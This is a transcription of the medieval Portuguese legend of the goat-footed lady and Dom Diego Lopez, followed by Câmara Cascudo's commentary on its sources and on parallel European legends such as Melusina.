A DAMA PÉ DE CABRA – Conto popular medieval português

A DAMA PÉ DE CABRA

Dom Diego Lopez era mui bõo monteiro e, estando üu dia en sa armada e atendendo quando vêrria o porco, ouviu cantar muito alta voz üu molher en cima deüu pena e el foi pêra lá e viu-a seer mui fermosa e mui ben vistida e namorou-se logo dela mui fortemente e préguntou-lhe quen era e ela lhe disse que era üu molher de muito alto li-nhagen, e el lhe disse que, pois era molher d’alto linhagen, que casaria con ela, se ela quisesse, ca el era senhor daquela terra toda, e ela lhe disse que o faria, se lhe prometesse que nunca se santificasse, e ele lho outorgou e ela foi-se logo con ele. E esta dona era mui fermosa e mui ben feita en todo seu corpo, salvando que avia un pee forcado, como pee de cabra. E viveron gran tempo e ouveron dous filhos e un ouve nome Enheguez Guerra e a outra foi molher e ouve nome dona…

E, quando comian de suun don Diego Lopez e sa molher, asseentava el apar de si o filho e ela asseentava apar de si a filha, da outra parte. E üu dia foi ele a seu monte e matou un porco mui grande e trouxe-o pera sa casa e pose-o ante si, u sia comendo con sa molher e con seus filhos, e lan-çaron un osso da mesa e vëeron a pelejar üu alão e üa podenga sobr’ele, en tal maneira que a podenga travou ao alão ena garganta e matou-o. E don

Diego Lopez, quando esto viu, teve-o por milagre sinou-se e disse:

 Santa Maria, vai! quen viu nunca tal cousa E sa molher, quando o viu assisinar, lança mão na filha e no filho, e don Diego Lopez travo do filho e non lho quis leixar filhar, e ela recudi con a filha por üu fresta do paaço e foi-se pera a montanhas en guisa que a non viron mais nen a filha.

Depois, a cabo de tempo, foi este don Diego Lopez a fazer mal aos mouros e prenderon-no e le-varan-no para Toledo preso. E a seu filho Enhe-guez Guerra pesava muito de sa prison e vêo falar con os da terra, per que maneira o poderia aver fora da prison. E eles disseron que non sabian maneira por que o podesse aver, salvando se fosse aas montanhas e achasse sa madre e que ela lhe diria como o tirasse. E el foi alá soo, en cima de seu cavalo, e achou-a en cima de üu pena, e ela lhe disse:

 Filho Enheguez Guerra, ven a min, ca ben sei eu ao que veens.

E el foi pera ela e ela lhe disse:

 Veens a preguntar como tirarás teu padre da prison.

Enton chamou Ou cavalo que andava solto pelo monte, que avia nome Pardalo, e chamou-o per seu nome, e ela meteu üu freo ao cavalo que tiinha e disse-lhe que non fezesse força polo desselar nen polo desenfrear, nen por lhe dar de comer nen de bever, nen de ferrar, e disse-lhe que este cavalo lhe duraria en toda sa vida e que nunca entraria en lide que non vencesse dele. E disse-lhe que cavai-

gasse en ele e que o poria en Toledo, ante a porta a jazia seu padre logo en esse dia e que, ante a porta u o cavalo o posesse, que ali decesse, e que achairia seu padre estar en üu curral e que o fi casse pela mão e fezesse que queria falar con ele, que o fosse tirando contra a porta u estava o ca valo e que, des que ali fosse, que cavalgasse eno cavalo e que posesse ©eu padre ante si e que ante noite seria en sa terra con seu padre e assi foi. E depois, a cabo de tempo, morreu dou Diego Lopez e ficou a terra a seu filho don Enheguez Guerra.

Da Selecta Clássica, João Ribeiro, 80-82, Rio de Janeiro, 1931. A fonte é o livro de Linhagens do conde D. Pedro, no episódio que Alexandre Herculano divulgou literariamente no Lendas e Narrativas, a conhecida Dama Pé de Cabra, romance de um jogral, século XI. Em 1646, em Madrid, publicou-se a tradução castelhana do Nobiliário dei Conde de Barcellos D. Pedro, hijo delrey D. Dinis de Portugal, por Manuel de Faria e Sousa, onde o exemplo figurou, em sua pureza tradicional, espalhando-se que a moça tenia pies, o pie, que parecia de cabra. Em 1856, a Academia de Ciências de Lisboa imprimiu, no Portugaliae Monumenta Histórica, Scriptores, titulo IX.0 (Os Livros de Linhagens), o Livro de Linhagens do Conde D. Pedro. O dr. Joaquim Pires de Lima, Tradições Populares de Entre-Douro-e-Minho, estudou esse tema, a ectrodactilia na lenda, referindo outra lenda semelhante, em Marialva, que seria primitivamente Maria Alva, dama de pês caprinos, assassina dos amantes.

Essas tradições de cavaleiros casados com mulheres encantadas eram vivas na Idade Média. Melusina casara e seu marido, Raymon de Rousset, perdeu-a porque a viu transformad em serpente, em Aix, na Provença. A esposa d um castelão du Mas tinha o pé de pato, segund a lenda angevina. Uma encantada de Rizzanese na Córsega, possuia orifícios nas espáduas. & clássica a Melusina de Lusignan; na Suíça Re nana, um ferrador de Vallorbes, viu a mulher sumir-se quando verificou que seu pé não tinha calcanhar. A lenda da reine Pédauque é milenar. Um duque da Aquitânia desposara uma diaba caprípeda. Foram os pais de Eleonora de Guienne, primeira mulher do rei Luis VII. Sãw várias as fontes livrescas nos séculos XI, XII e XIII. (CASCUDO)


Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora.

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